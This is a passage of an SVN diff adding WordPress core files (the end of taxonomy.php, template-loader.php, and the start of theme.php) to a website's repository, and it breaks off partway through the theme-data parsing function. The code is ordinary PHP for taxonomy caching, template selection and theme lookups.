+	$defaults = array( 'alias_of' => '', 'description' => '', 'parent' => 0, 'slug' => '');
+	$args = wp_parse_args($args, $defaults);
+	$args = sanitize_term($args, $taxonomy, 'db');
+	extract($args, EXTR_SKIP);
+
+	// expected_slashed ($name)
+	$name = stripslashes($name);
+	$description = stripslashes($description);
+
+	if ( '' == trim($name) )
+		return new WP_Error('empty_term_name', __('A name is required for this term'));
+
+	$empty_slug = false;
+	if ( empty($slug) ) {
+		$empty_slug = true;
+		$slug = sanitize_title($name);
+	}
+
+	if ( $alias_of ) {
+		$alias = $wpdb->get_row( $wpdb->prepare( "SELECT term_id, term_group FROM $wpdb->terms WHERE slug = %s", $alias_of) );
+		if ( $alias->term_group ) {
+			// The alias we want is already in a group, so let's use that one.
+			$term_group = $alias->term_group;
+		} else {
+			// The alias isn't in a group, so let's create a new one and firstly add the alias term to it.
+			$term_group = $wpdb->get_var("SELECT MAX(term_group) FROM $wpdb->terms") + 1;
+			$wpdb->update( $wpdb->terms, compact('term_group'), array( 'term_id' => $alias->term_id ) );
+		}
+	}
+
+	// Check for duplicate slug
+	$id = $wpdb->get_var( $wpdb->prepare( "SELECT term_id FROM $wpdb->terms WHERE slug = %s", $slug ) );
+	if ( $id && ($id != $term_id) ) {
+		// If an empty slug was passed or the parent changed, reset the slug to something unique.
+		// Otherwise, bail.
+		if ( $empty_slug || ( $parent != $term->parent) )
+			$slug = wp_unique_term_slug($slug, (object) $args);
+		else
+			return new WP_Error('duplicate_term_slug', sprintf(__('The slug &#8220;%s&#8221; is already in use by another term'), $slug));
+	}
+
+	$wpdb->update($wpdb->terms, compact( 'name', 'slug', 'term_group' ), compact( 'term_id' ) );
+
+	if ( empty($slug) ) {
+		$slug = sanitize_title($name, $term_id);
+		$wpdb->update( $wpdb->terms, compact( 'slug' ), compact( 'term_id' ) );
+	}
+
+	$tt_id = $wpdb->get_var( $wpdb->prepare( "SELECT tt.term_taxonomy_id FROM $wpdb->term_taxonomy AS tt INNER JOIN $wpdb->terms AS t ON tt.term_id = t.term_id WHERE tt.taxonomy = %s AND t.term_id = %d", $taxonomy, $term_id) );
+
+	$wpdb->update( $wpdb->term_taxonomy, compact( 'term_id', 'taxonomy', 'description', 'parent' ), array( 'term_taxonomy_id' => $tt_id ) );
+
+	do_action("edit_term", $term_id, $tt_id);
+	do_action("edit_$taxonomy", $term_id, $tt_id);
+
+	$term_id = apply_filters('term_id_filter', $term_id, $tt_id);
+
+	clean_term_cache($term_id, $taxonomy);
+
+	do_action("edited_term", $term_id, $tt_id);
+	do_action("edited_$taxonomy", $term_id, $tt_id);
+
+	return array('term_id' => $term_id, 'term_taxonomy_id' => $tt_id);
+}
+
+/**
+ * Enable or disable term counting.
+ *
+ * @since 2.5.0
+ *
+ * @param bool $defer Optional. Enable if true, disable if false.
+ * @return bool Whether term counting is enabled or disabled.
+ */
+function wp_defer_term_counting($defer=null) {
+	static $_defer = false;
+
+	if ( is_bool($defer) ) {
+		$_defer = $defer;
+		// flush any deferred counts
+		if ( !$defer )
+			wp_update_term_count( null, null, true );
+	}
+
+	return $_defer;
+}
+
+/**
+ * Updates the amount of terms in taxonomy.
+ *
+ * If there is a taxonomy callback applyed, then it will be called for updating
+ * the count.
+ *
+ * The default action is to count what the amount of terms have the relationship
+ * of term ID. Once that is done, then update the database.
+ *
+ * @package WordPress
+ * @subpackage Taxonomy
+ * @since 2.3.0
+ * @uses $wpdb
+ *
+ * @param int|array $terms The term_taxonomy_id of the terms
+ * @param string $taxonomy The context of the term.
+ * @return bool If no terms will return false, and if successful will return true.
+ */
+function wp_update_term_count( $terms, $taxonomy, $do_deferred=false ) {
+	static $_deferred = array();
+
+	if ( $do_deferred ) {
+		foreach ( (array) array_keys($_deferred) as $tax ) {
+			wp_update_term_count_now( $_deferred[$tax], $tax );
+			unset( $_deferred[$tax] );
+		}
+	}
+
+	if ( empty($terms) )
+		return false;
+
+	if ( !is_array($terms) )
+		$terms = array($terms);
+
+	if ( wp_defer_term_counting() ) {
+		if ( !isset($_deferred[$taxonomy]) )
+			$_deferred[$taxonomy] = array();
+		$_deferred[$taxonomy] = array_unique( array_merge($_deferred[$taxonomy], $terms) );
+		return true;
+	}
+
+	return wp_update_term_count_now( $terms, $taxonomy );
+}
+
+/**
+ * Perform term count update immediately.
+ *
+ * @since 2.5.0
+ *
+ * @param array $terms The term_taxonomy_id of terms to update.
+ * @param string $taxonomy The context of the term.
+ * @return bool Always true when complete.
+ */
+function wp_update_term_count_now( $terms, $taxonomy ) {
+	global $wpdb;
+
+	$terms = array_map('intval', $terms);
+
+	$taxonomy = get_taxonomy($taxonomy);
+	if ( !empty($taxonomy->update_count_callback) ) {
+		call_user_func($taxonomy->update_count_callback, $terms);
+	} else {
+		// Default count updater
+		foreach ( (array) $terms as $term) {
+			$count = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->term_relationships WHERE term_taxonomy_id = %d", $term) );
+			$wpdb->update( $wpdb->term_taxonomy, compact( 'count' ), array( 'term_taxonomy_id' => $term ) );
+		}
+
+	}
+
+	clean_term_cache($terms);
+
+	return true;
+}
+
+//
+// Cache
+//
+
+
+/**
+ * Removes the taxonomy relationship to terms from the cache.
+ *
+ * Will remove the entire taxonomy relationship containing term $object_id. The
+ * term IDs have to exist within the taxonomy $object_type for the deletion to
+ * take place.
+ *
+ * @package WordPress
+ * @subpackage Taxonomy
+ * @since 2.3.0
+ *
+ * @see get_object_taxonomies() for more on $object_type
+ * @uses do_action() Will call action hook named, 'clean_object_term_cache' after completion.
+ *	Passes, function params in same order.
+ *
+ * @param int|array $object_ids Single or list of term object ID(s)
+ * @param array|string $object_type The taxonomy object type
+ */
+function clean_object_term_cache($object_ids, $object_type) {
+	if ( !is_array($object_ids) )
+		$object_ids = array($object_ids);
+
+	foreach ( $object_ids as $id )
+		foreach ( get_object_taxonomies($object_type) as $taxonomy )
+			wp_cache_delete($id, "{$taxonomy}_relationships");
+
+	do_action('clean_object_term_cache', $object_ids, $object_type);
+}
+
+
+/**
+ * Will remove all of the term ids from the cache.
+ *
+ * @package WordPress
+ * @subpackage Taxonomy
+ * @since 2.3.0
+ * @uses $wpdb
+ *
+ * @param int|array $ids Single or list of Term IDs
+ * @param string $taxonomy Can be empty and will assume tt_ids, else will use for context.
+ */
+function clean_term_cache($ids, $taxonomy = '') {
+	global $wpdb;
+	static $cleaned = array();
+
+	if ( !is_array($ids) )
+		$ids = array($ids);
+
+	$taxonomies = array();
+	// If no taxonomy, assume tt_ids.
+	if ( empty($taxonomy) ) {
+		$tt_ids = implode(', ', $ids);
+		$terms = $wpdb->get_results("SELECT term_id, taxonomy FROM $wpdb->term_taxonomy WHERE term_taxonomy_id IN ($tt_ids)");
+		foreach ( (array) $terms as $term ) {
+			$taxonomies[] = $term->taxonomy;
+			wp_cache_delete($term->term_id, $term->taxonomy);
+		}
+		$taxonomies = array_unique($taxonomies);
+	} else {
+		foreach ( $ids as $id ) {
+			wp_cache_delete($id, $taxonomy);
+		}
+		$taxonomies = array($taxonomy);
+	}
+
+	foreach ( $taxonomies as $taxonomy ) {
+		if ( isset($cleaned[$taxonomy]) )
+			continue;
+		$cleaned[$taxonomy] = true;
+		wp_cache_delete('all_ids', $taxonomy);
+		wp_cache_delete('get', $taxonomy);
+		delete_option("{$taxonomy}_children");
+	}
+
+	wp_cache_set('last_changed', time(), 'terms');
+
+	do_action('clean_term_cache', $ids, $taxonomy);
+}
+
+
+/**
+ * Retrieves the taxonomy relationship to the term object id.
+ *
+ * @package WordPress
+ * @subpackage Taxonomy
+ * @since 2.3.0
+ *
+ * @uses wp_cache_get() Retrieves taxonomy relationship from cache
+ *
+ * @param int|array $id Term object ID
+ * @param string $taxonomy Taxonomy Name
+ * @return bool|array Empty array if $terms found, but not $taxonomy. False if nothing is in cache for $taxonomy and $id.
+ */
+function &get_object_term_cache($id, $taxonomy) {
+	$cache = wp_cache_get($id, "{$taxonomy}_relationships");
+	return $cache;
+}
+
+
+/**
+ * Updates the cache for Term ID(s).
+ *
+ * Will only update the cache for terms not already cached.
+ *
+ * The $object_ids expects that the ids be separated by commas, if it is a
+ * string.
+ *
+ * It should be noted that update_object_term_cache() is very time extensive. It
+ * is advised that the function is not called very often or at least not for a
+ * lot of terms that exist in a lot of taxonomies. The amount of time increases
+ * for each term and it also increases for each taxonomy the term belongs to.
+ *
+ * @package WordPress
+ * @subpackage Taxonomy
+ * @since 2.3.0
+ * @uses wp_get_object_terms() Used to get terms from the database to update
+ *
+ * @param string|array $object_ids Single or list of term object ID(s)
+ * @param array|string $object_type The taxonomy object type
+ * @return null|bool Null value is given with empty $object_ids. False if
+ */
+function update_object_term_cache($object_ids, $object_type) {
+	if ( empty($object_ids) )
+		return;
+
+	if ( !is_array($object_ids) )
+		$object_ids = explode(',', $object_ids);
+
+	$object_ids = array_map('intval', $object_ids);
+
+	$taxonomies = get_object_taxonomies($object_type);
+
+	$ids = array();
+	foreach ( (array) $object_ids as $id ) {
+		foreach ( $taxonomies as $taxonomy ) {
+			if ( false === wp_cache_get($id, "{$taxonomy}_relationships") ) {
+				$ids[] = $id;
+				break;
+			}
+		}
+	}
+
+	if ( empty( $ids ) )
+		return false;
+
+	$terms = wp_get_object_terms($ids, $taxonomies, 'fields=all_with_object_id');
+
+	$object_terms = array();
+	foreach ( (array) $terms as $term )
+		$object_terms[$term->object_id][$term->taxonomy][$term->term_id] = $term;
+
+	foreach ( $ids as $id ) {
+		foreach ( $taxonomies  as $taxonomy ) {
+			if ( ! isset($object_terms[$id][$taxonomy]) ) {
+				if ( !isset($object_terms[$id]) )
+					$object_terms[$id] = array();
+				$object_terms[$id][$taxonomy] = array();
+			}
+		}
+	}
+
+	foreach ( $object_terms as $id => $value ) {
+		foreach ( $value as $taxonomy => $terms ) {
+			wp_cache_set($id, $terms, "{$taxonomy}_relationships");
+		}
+	}
+}
+
+
+/**
+ * Updates Terms to Taxonomy in cache.
+ *
+ * @package WordPress
+ * @subpackage Taxonomy
+ * @since 2.3.0
+ *
+ * @param array $terms List of Term objects to change
+ * @param string $taxonomy Optional. Update Term to this taxonomy in cache
+ */
+function update_term_cache($terms, $taxonomy = '') {
+	foreach ( (array) $terms as $term ) {
+		$term_taxonomy = $taxonomy;
+		if ( empty($term_taxonomy) )
+			$term_taxonomy = $term->taxonomy;
+
+		wp_cache_add($term->term_id, $term, $term_taxonomy);
+	}
+}
+
+//
+// Private
+//
+
+
+/**
+ * Retrieves children of taxonomy as Term IDs.
+ *
+ * @package WordPress
+ * @subpackage Taxonomy
+ * @access private
+ * @since 2.3.0
+ *
+ * @uses update_option() Stores all of the children in "$taxonomy_children"
+ *	 option. That is the name of the taxonomy, immediately followed by '_children'.
+ *
+ * @param string $taxonomy Taxonomy Name
+ * @return array Empty if $taxonomy isn't hierarachical or returns children as Term IDs.
+ */
+function _get_term_hierarchy($taxonomy) {
+	if ( !is_taxonomy_hierarchical($taxonomy) )
+		return array();
+	$children = get_option("{$taxonomy}_children");
+	if ( is_array($children) )
+		return $children;
+
+	$children = array();
+	$terms = get_terms($taxonomy, 'get=all');
+	foreach ( $terms as $term ) {
+		if ( $term->parent > 0 )
+			$children[$term->parent][] = $term->term_id;
+	}
+	update_option("{$taxonomy}_children", $children);
+
+	return $children;
+}
+
+
+/**
+ * Get the subset of $terms that are descendants of $term_id.
+ *
+ * If $terms is an array of objects, then _get_term_children returns an array of objects.
+ * If $terms is an array of IDs, then _get_term_children returns an array of IDs.
+ *
+ * @package WordPress
+ * @subpackage Taxonomy
+ * @access private
+ * @since 2.3.0
+ *
+ * @param int $term_id The ancestor term: all returned terms should be descendants of $term_id.
+ * @param array $terms The set of terms---either an array of term objects or term IDs---from which those that are descendants of $term_id will be chosen.
+ * @param string $taxonomy The taxonomy which determines the hierarchy of the terms.
+ * @return array The subset of $terms that are descendants of $term_id.
+ */
+function &_get_term_children($term_id, $terms, $taxonomy) {
+	$empty_array = array();
+	if ( empty($terms) )
+		return $empty_array;
+
+	$term_list = array();
+	$has_children = _get_term_hierarchy($taxonomy);
+
+	if  ( ( 0 != $term_id ) && ! isset($has_children[$term_id]) )
+		return $empty_array;
+
+	foreach ( (array) $terms as $term ) {
+		$use_id = false;
+		if ( !is_object($term) ) {
+			$term = get_term($term, $taxonomy);
+			if ( is_wp_error( $term ) )
+				return $term;
+			$use_id = true;
+		}
+
+		if ( $term->term_id == $term_id )
+			continue;
+
+		if ( $term->parent == $term_id ) {
+			if ( $use_id )
+				$term_list[] = $term->term_id;
+			else
+				$term_list[] = $term;
+
+			if ( !isset($has_children[$term->term_id]) )
+				continue;
+
+			if ( $children = _get_term_children($term->term_id, $terms, $taxonomy) )
+				$term_list = array_merge($term_list, $children);
+		}
+	}
+
+	return $term_list;
+}
+
+
+/**
+ * Add count of children to parent count.
+ *
+ * Recalculates term counts by including items from child terms. Assumes all
+ * relevant children are already in the $terms argument.
+ *
+ * @package WordPress
+ * @subpackage Taxonomy
+ * @access private
+ * @since 2.3.0
+ * @uses $wpdb
+ *
+ * @param array $terms List of Term IDs
+ * @param string $taxonomy Term Context
+ * @return null Will break from function if conditions are not met.
+ */
+function _pad_term_counts(&$terms, $taxonomy) {
+	global $wpdb;
+
+	// This function only works for hierarchical taxonomies like post categories.
+	if ( !is_taxonomy_hierarchical( $taxonomy ) )
+		return;
+
+	$term_hier = _get_term_hierarchy($taxonomy);
+
+	if ( empty($term_hier) )
+		return;
+
+	$term_items = array();
+
+	foreach ( (array) $terms as $key => $term ) {
+		$terms_by_id[$term->term_id] = & $terms[$key];
+		$term_ids[$term->term_taxonomy_id] = $term->term_id;
+	}
+
+	// Get the object and term ids and stick them in a lookup table
+	$results = $wpdb->get_results("SELECT object_id, term_taxonomy_id FROM $wpdb->term_relationships INNER JOIN $wpdb->posts ON object_id = ID WHERE term_taxonomy_id IN (".join(',', array_keys($term_ids)).") AND post_type = 'post' AND post_status = 'publish'");
+	foreach ( $results as $row ) {
+		$id = $term_ids[$row->term_taxonomy_id];
+		$term_items[$id][$row->object_id] = isset($term_items[$id][$row->object_id]) ? ++$term_items[$id][$row->object_id] : 1;
+	}
+
+	// Touch every ancestor's lookup row for each post in each term
+	foreach ( $term_ids as $term_id ) {
+		$child = $term_id;
+		while ( $parent = $terms_by_id[$child]->parent ) {
+			if ( !empty($term_items[$term_id]) )
+				foreach ( $term_items[$term_id] as $item_id => $touches ) {
+					$term_items[$parent][$item_id] = isset($term_items[$parent][$item_id]) ? ++$term_items[$parent][$item_id]: 1;
+				}
+			$child = $parent;
+		}
+	}
+
+	// Transfer the touched cells
+	foreach ( (array) $term_items as $id => $items )
+		if ( isset($terms_by_id[$id]) )
+			$terms_by_id[$id]->count = count($items);
+}
+
+//
+// Default callbacks
+//
+
+/**
+ * Will update term count based on posts.
+ *
+ * Private function for the default callback for post_tag and category
+ * taxonomies.
+ *
+ * @package WordPress
+ * @subpackage Taxonomy
+ * @access private
+ * @since 2.3.0
+ * @uses $wpdb
+ *
+ * @param array $terms List of Term taxonomy IDs
+ */
+function _update_post_term_count( $terms ) {
+	global $wpdb;
+
+	foreach ( (array) $terms as $term ) {
+		$count = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->term_relationships, $wpdb->posts WHERE $wpdb->posts.ID = $wpdb->term_relationships.object_id AND post_status = 'publish' AND post_type = 'post' AND term_taxonomy_id = %d", $term ) );
+		$wpdb->update( $wpdb->term_taxonomy, compact( 'count' ), array( 'term_taxonomy_id' => $term ) );
+	}
+}
+
+
+/**
+ * Generates a permalink for a taxonomy term archive.
+ *
+ * @since 2.5.0
+ *
+ * @param object|int|string $term
+ * @param string $taxonomy
+ * @return string HTML link to taxonomy term archive
+ */
+function get_term_link( $term, $taxonomy ) {
+	global $wp_rewrite;
+
+	if ( !is_object($term) ) {
+		if ( is_int($term) ) {
+			$term = &get_term($term, $taxonomy);
+		} else {
+			$term = &get_term_by('slug', $term, $taxonomy);
+		}
+	}
+	if ( is_wp_error( $term ) )
+		return $term;
+
+	// use legacy functions for core taxonomies until they are fully plugged in
+	if ( $taxonomy == 'category' )
+		return get_category_link((int) $term->term_id);
+	if ( $taxonomy == 'post_tag' )
+		return get_tag_link((int) $term->term_id);
+
+	$termlink = $wp_rewrite->get_extra_permastruct($taxonomy);
+
+	$slug = $term->slug;
+
+	if ( empty($termlink) ) {
+		$file = get_option('home') . '/';
+		$t = get_taxonomy($taxonomy);
+		if ( $t->query_var )
+			$termlink = "$file?$t->query_var=$slug";
+		else
+			$termlink = "$file?taxonomy=$taxonomy&term=$slug";
+	} else {
+		$termlink = str_replace("%$taxonomy%", $slug, $termlink);
+		$termlink = get_option('home') . user_trailingslashit($termlink, 'category');
+	}
+	return apply_filters('term_link', $termlink, $term, $taxonomy);
+}
+
+/**
+ * Display the taxonomies of a post with available options.
+ *
+ * This function can be used within the loop to display the taxonomies for a
+ * post without specifying the Post ID. You can also use it outside the Loop to
+ * display the taxonomies for a specific post.
+ *
+ * The available defaults are:
+ * 'post' : default is 0. The post ID to get taxonomies of.
+ * 'before' : default is empty string. Display before taxonomies list.
+ * 'sep' : default is empty string. Separate every taxonomy with value in this.
+ * 'after' : default is empty string. Display this after the taxonomies list.
+ *
+ * @since 2.5.0
+ * @uses get_the_taxonomies()
+ *
+ * @param array $args Override the defaults.
+ */
+function the_taxonomies($args = array()) {
+	$defaults = array(
+		'post' => 0,
+		'before' => '',
+		'sep' => ' ',
+		'after' => '',
+	);
+
+	$r = wp_parse_args( $args, $defaults );
+	extract( $r, EXTR_SKIP );
+
+	echo $before . join($sep, get_the_taxonomies($post)) . $after;
+}
+
+/**
+ * Retrieve all taxonomies associated with a post.
+ *
+ * This function can be used within the loop. It will also return an array of
+ * the taxonomies with links to the taxonomy and name.
+ *
+ * @since 2.5.0
+ *
+ * @param int $post Optional. Post ID or will use Global Post ID (in loop).
+ * @return array
+ */
+function get_the_taxonomies($post = 0) {
+	if ( is_int($post) )
+		$post =& get_post($post);
+	elseif ( !is_object($post) )
+		$post =& $GLOBALS['post'];
+
+	$taxonomies = array();
+
+	if ( !$post )
+		return $taxonomies;
+
+	$template = apply_filters('taxonomy_template', '%s: %l.');
+
+	foreach ( get_object_taxonomies($post) as $taxonomy ) {
+		$t = (array) get_taxonomy($taxonomy);
+		if ( empty($t['label']) )
+			$t['label'] = $taxonomy;
+		if ( empty($t['args']) )
+			$t['args'] = array();
+		if ( empty($t['template']) )
+			$t['template'] = $template;
+
+		$terms = get_object_term_cache($post->ID, $taxonomy);
+		if ( empty($terms) )
+			$terms = wp_get_object_terms($post->ID, $taxonomy, $t['args']);
+
+		$links = array();
+
+		foreach ( $terms as $term )
+			$links[] = "<a href='" . esc_attr(get_term_link($term, $taxonomy)) . "'>$term->name</a>";
+
+		if ( $links )
+			$taxonomies[$taxonomy] = wp_sprintf($t['template'], $t['label'], $links, $terms);
+	}
+	return $taxonomies;
+}
+
+/**
+ * Retrieve all taxonomies of a post with just the names.
+ *
+ * @since 2.5.0
+ * @uses get_object_taxonomies()
+ *
+ * @param int $post Optional. Post ID
+ * @return array
+ */
+function get_post_taxonomies($post = 0) {
+	$post =& get_post($post);
+
+	return get_object_taxonomies($post);
+}
+
+/**
+ * Determine if the given object is associated with any of the given terms.
+ *
+ * The given terms are checked against the object's terms' term_ids, names and slugs.
+ * Terms given as integers will only be checked against the object's terms' term_ids.
+ * If no terms are given, determines if object is associated with any terms in the given taxonomy.
+ *
+ * @since 2.7.0
+ * @uses get_object_term_cache()
+ * @uses wp_get_object_terms()
+ *
+ * @param int $object_id.  ID of the object (post ID, link ID, ...)
+ * @param string $taxonomy.  Single taxonomy name
+ * @param int|string|array $terms Optional.  Term term_id, name, slug or array of said
+ * @return bool|WP_Error. WP_Error on input error.
+ */
+function is_object_in_term( $object_id, $taxonomy, $terms = null ) {
+	if ( !$object_id = (int) $object_id )
+		return new WP_Error( 'invalid_object', __( 'Invalid object ID' ) );
+
+	$object_terms = get_object_term_cache( $object_id, $taxonomy );
+	if ( empty( $object_terms ) )
+		 $object_terms = wp_get_object_terms( $object_id, $taxonomy );
+
+	if ( is_wp_error( $object_terms ) )
+		return $object_terms;
+	if ( empty( $object_terms ) )
+		return false;
+	if ( empty( $terms ) )
+		return ( !empty( $object_terms ) );
+
+	$terms = (array) $terms;
+
+	if ( $ints = array_filter( $terms, 'is_int' ) )
+		$strs = array_diff( $terms, $ints );
+	else
+		$strs =& $terms;
+
+	foreach ( $object_terms as $object_term ) {
+		if ( $ints && in_array( $object_term->term_id, $ints ) ) return true; // If int, check against term_id
+		if ( $strs ) {
+			if ( in_array( $object_term->term_id, $strs ) ) return true;
+			if ( in_array( $object_term->name, $strs ) )    return true;
+			if ( in_array( $object_term->slug, $strs ) )    return true;
+		}
+	}
+
+	return false;
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-includes/template-loader.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/template-loader.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/template-loader.php	(revision 44)
@@ -0,0 +1,78 @@
+<?php
+/**
+ * Loads the correct template based on the visitor's url
+ * @package WordPress
+ */
+if ( defined('WP_USE_THEMES') && constant('WP_USE_THEMES') ) {
+	do_action('template_redirect');
+	if ( is_robots() ) {
+		do_action('do_robots');
+		return;
+	} else if ( is_feed() ) {
+		do_feed();
+		return;
+	} else if ( is_trackback() ) {
+		include(ABSPATH . 'wp-trackback.php');
+		return;
+	} else if ( is_404() && $template = get_404_template() ) {
+		include($template);
+		return;
+	} else if ( is_search() && $template = get_search_template() ) {
+		include($template);
+		return;
+	} else if ( is_tax() && $template = get_taxonomy_template()) {
+		include($template);
+		return;
+	} else if ( is_home() && $template = get_home_template() ) {
+		include($template);
+		return;
+	} else if ( is_attachment() && $template = get_attachment_template() ) {
+		remove_filter('the_content', 'prepend_attachment');
+		include($template);
+		return;
+	} else if ( is_single() && $template = get_single_template() ) {
+		include($template);
+		return;
+	} else if ( is_page() && $template = get_page_template() ) {
+		include($template);
+		return;
+	} else if ( is_category() && $template = get_category_template()) {
+		include($template);
+		return;
+	} else if ( is_tag() && $template = get_tag_template()) {
+		include($template);
+		return;
+	} else if ( is_author() && $template = get_author_template() ) {
+		include($template);
+		return;
+	} else if ( is_date() && $template = get_date_template() ) {
+		include($template);
+		return;
+	} else if ( is_archive() && $template = get_archive_template() ) {
+		include($template);
+		return;
+	} else if ( is_comments_popup() && $template = get_comments_popup_template() ) {
+		include($template);
+		return;
+	} else if ( is_paged() && $template = get_paged_template() ) {
+		include($template);
+		return;
+	} else if ( file_exists(TEMPLATEPATH . "/index.php") ) {
+		include(TEMPLATEPATH . "/index.php");
+		return;
+	}
+} else {
+	// Process feeds and trackbacks even if not using themes.
+	if ( is_robots() ) {
+		do_action('do_robots');
+		return;
+	} else if ( is_feed() ) {
+		do_feed();
+		return;
+	} else if ( is_trackback() ) {
+		include(ABSPATH . 'wp-trackback.php');
+		return;
+	}
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-includes/theme.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/theme.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/theme.php	(revision 44)
@@ -0,0 +1,1137 @@
+<?php
+/**
+ * Theme, template, and stylesheet functions.
+ *
+ * @package WordPress
+ * @subpackage Template
+ */
+
+/**
+ * Retrieve name of the current stylesheet.
+ *
+ * The theme name that the administrator has currently set the front end theme
+ * as.
+ *
+ * For all extensive purposes, the template name and the stylesheet name are
+ * going to be the same for most cases.
+ *
+ * @since 1.5.0
+ * @uses apply_filters() Calls 'stylesheet' filter on stylesheet name.
+ *
+ * @return string Stylesheet name.
+ */
+function get_stylesheet() {
+	return apply_filters('stylesheet', get_option('stylesheet'));
+}
+
+/**
+ * Retrieve stylesheet directory path for current theme.
+ *
+ * @since 1.5.0
+ * @uses apply_filters() Calls 'stylesheet_directory' filter on stylesheet directory and theme name.
+ *
+ * @return string Path to current theme directory.
+ */
+function get_stylesheet_directory() {
+	$stylesheet = get_stylesheet();
+	$stylesheet_dir = get_theme_root() . "/$stylesheet";
+	return apply_filters('stylesheet_directory', $stylesheet_dir, $stylesheet);
+}
+
+/**
+ * Retrieve stylesheet directory URI.
+ *
+ * @since 1.5.0
+ *
+ * @return string
+ */
+function get_stylesheet_directory_uri() {
+	$stylesheet = get_stylesheet();
+	$stylesheet_dir_uri = get_theme_root_uri() . "/$stylesheet";
+	return apply_filters('stylesheet_directory_uri', $stylesheet_dir_uri, $stylesheet);
+}
+
+/**
+ * Retrieve URI of current theme stylesheet.
+ *
+ * The stylesheet file name is 'style.css' which is appended to {@link
+ * get_stylesheet_directory_uri() stylesheet directory URI} path.
+ *
+ * @since 1.5.0
+ * @uses apply_filters() Calls 'stylesheet_uri' filter on stylesheet URI path and stylesheet directory URI.
+ *
+ * @return string
+ */
+function get_stylesheet_uri() {
+	$stylesheet_dir_uri = get_stylesheet_directory_uri();
+	$stylesheet_uri = $stylesheet_dir_uri . "/style.css";
+	return apply_filters('stylesheet_uri', $stylesheet_uri, $stylesheet_dir_uri);
+}
+
+/**
+ * Retrieve localized stylesheet URI.
+ *
+ * The stylesheet directory for the localized stylesheet files are located, by
+ * default, in the base theme directory. The name of the locale file will be the
+ * locale followed by '.css'. If that does not exist, then the text direction
+ * stylesheet will be checked for existence, for example 'ltr.css'.
+ *
+ * The theme may change the location of the stylesheet directory by either using
+ * the 'stylesheet_directory_uri' filter or the 'locale_stylesheet_uri' filter.
+ * If you want to change the location of the stylesheet files for the entire
+ * WordPress workflow, then change the former. If you just have the locale in a
+ * separate folder, then change the latter.
+ *
+ * @since 2.1.0
+ * @uses apply_filters() Calls 'locale_stylesheet_uri' filter on stylesheet URI path and stylesheet directory URI.
+ *
+ * @return string
+ */
+function get_locale_stylesheet_uri() {
+	global $wp_locale;
+	$stylesheet_dir_uri = get_stylesheet_directory_uri();
+	$dir = get_stylesheet_directory();
+	$locale = get_locale();
+	if ( file_exists("$dir/$locale.css") )
+		$stylesheet_uri = "$stylesheet_dir_uri/$locale.css";
+	elseif ( !empty($wp_locale->text_direction) && file_exists("$dir/{$wp_locale->text_direction}.css") )
+		$stylesheet_uri = "$stylesheet_dir_uri/{$wp_locale->text_direction}.css";
+	else
+		$stylesheet_uri = '';
+	return apply_filters('locale_stylesheet_uri', $stylesheet_uri, $stylesheet_dir_uri);
+}
+
+/**
+ * Retrieve name of the current theme.
+ *
+ * @since 1.5.0
+ * @uses apply_filters() Calls 'template' filter on template option.
+ *
+ * @return string Template name.
+ */
+function get_template() {
+	return apply_filters('template', get_option('template'));
+}
+
+/**
+ * Retrieve current theme directory.
+ *
+ * @since 1.5.0
+ * @uses apply_filters() Calls 'template_directory' filter on template directory path and template name.
+ *
+ * @return string Template directory path.
+ */
+function get_template_directory() {
+	$template = get_template();
+	$template_dir = get_theme_root() . "/$template";
+	return apply_filters('template_directory', $template_dir, $template);
+}
+
+/**
+ * Retrieve theme directory URI.
+ *
+ * @since 1.5.0
+ * @uses apply_filters() Calls 'template_directory_uri' filter on template directory URI path and template name.
+ *
+ * @return string Template directory URI.
+ */
+function get_template_directory_uri() {
+	$template = get_template();
+	$template_dir_uri = get_theme_root_uri() . "/$template";
+	return apply_filters('template_directory_uri', $template_dir_uri, $template);
+}
+
+/**
+ * Retrieve theme data from parsed theme file.
+ *
+ * The description will have the tags filtered with the following HTML elements
+ * whitelisted. The <b>'a'</b> element with the <em>href</em> and <em>title</em>
+ * attributes. The <b>abbr</b> element with the <em>title</em> attribute. The
+ * <b>acronym<b> element with the <em>title</em> attribute allowed. The
+ * <b>code</b>, <b>em</b>, and <b>strong</b> elements also allowed.
+ *
+ * The style.css file must contain theme name, theme URI, and description. The
+ * data can also contain author URI, author, template (parent template),
+ * version, status, and finally tags. Some of these are not used by WordPress
+ * administration panels, but are used by theme directory web sites which list
+ * the theme.
+ *
+ * @since 1.5.0
+ *
+ * @param string $theme_file Theme file path.
+ * @return array Theme data.
+ */
+function get_theme_data( $theme_file ) {
+	$themes_allowed_tags = array(
+		'a' => array(
+			'href' => array(),'title' => array()
+			),
+		'abbr' => array(
+			'title' => array()
+			),
+		'acronym' => array(
+			'title' => array()
+			),
+		'code' => array(),
+		'em' => array(),
+		'strong' => array()
+	);
+
+	$theme_data = implode( '', file( $theme_file ) );
+	$theme_data = str_replace ( '\r', '\n', $theme_data );
+	if ( preg_match( '|Theme Name:(.*)$|mi', $theme_data, $theme_name ) )
+		$name = $theme = wp_kses( _cleanup_header_comment($theme_name[1]), $themes_allowed_tags );
+	else
+		$name = $theme = '';
+
+	if ( preg_match( '|Theme URI:(.*)$|mi', $theme_data, $theme_uri ) )
+		$theme_uri = esc_url( _cleanup_header_comment($theme_uri[1]) );
+	else
+		$theme_uri = '';
+
+	if ( preg_match( '|Description:(.*)$|mi', $theme_data, $description ) )
+		$description = wptexturize( wp_kses( _cleanup_header_comment($description[1]), $themes_allowed_tags ) );
+	else
+		$description = '';
+
+	if ( preg_match( '|Author URI:(.*)$|mi', $theme_data, $author_uri ) )
+		$author_uri = esc_url( _cleanup_header_comment($author_uri[1]) );
+	else
+		$author_uri = '';
+
+	if ( preg_match( '|Template:(.*)$|mi', $theme_data, $template ) )
+		$template = wp_kses( _cleanup_header_comment($template[1]), $themes_allowed_tags );
+	else
+		$template = '';
+
+	if ( preg_match( '|Version:(.*)|i', $theme_data, $version ) )
+		$version = wp_kses( _cleanup_header_comment($version[1]), $themes_allowed_tags );
+	else
+		$version = '';
+
+	if ( preg_match('|Status:(.*)|i', $theme_data, $status) )
+		$status = wp_kses( _cleanup_header_comment($status[1]), $themes_allowed_tags );
+	else
+		$status = 'publish';
